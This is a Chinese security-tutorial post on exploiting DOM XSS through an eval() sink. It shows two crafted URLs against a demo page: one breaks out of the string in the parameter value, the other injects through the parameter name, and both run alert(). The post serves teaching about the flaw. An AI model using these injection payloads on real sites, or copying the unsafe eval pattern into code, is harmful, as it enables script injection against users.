立即登录 马上注册
首页 › 开发帮助文档 › 网络安全 › 大哥带的DOM-XSS进阶eval构造XSS

赞

评论

收藏

[其他] 大哥带的DOM-XSS进阶eval构造XSS

网络安全 网络安全 发布于：2021-07-17 19:47 | 阅读数：475 | 评论：0

0X01源码分析
DSC0000.png

那么我们可以如何来构造语法呐？？
已知eval函数可以执行js
最终的输出是eval(this.xss="你提交的参数";)
那我们是不是可以从参数这里构造一个js
比如
this.xss=1";alert(/zhong/);//
那么我们要这样构造
http://www.xss_demo.com/DOM-xss5.php?xss=k";alert(/zhong/);//
DSC0001.png

当然这里未对参数名称做验证我们也可以直接在参数名称里面构造
xss
http://www.xss_demo.com/DOM-xss5.php?xss;alert(/zhong/);//=123456
DSC0002.png

切记 学习之路 少就是多 慢就是快


关注下面的标签，发现更多相似文章
免责声明：

1. 本站所有资源来自网络搜集或用户上传，仅作为参考不担保其准确性！

2. 本站内容仅供学习和交流使用，版权归原作者所有！© 查看更多

3. 如有内容侵害到您，请联系我们尽快删除，邮箱：kf@codeae.com

分享到： QQ好友和群QQ好友和群 QQ空间QQ空间

举报

返回列表
相关帖子
avatar
1508 经验
1507 文档
OPNE在线字典
  • 手机版| 免责声明|
2021-2024  版权所有：CodeAE代码之家   
粤ICP备2023096576号-2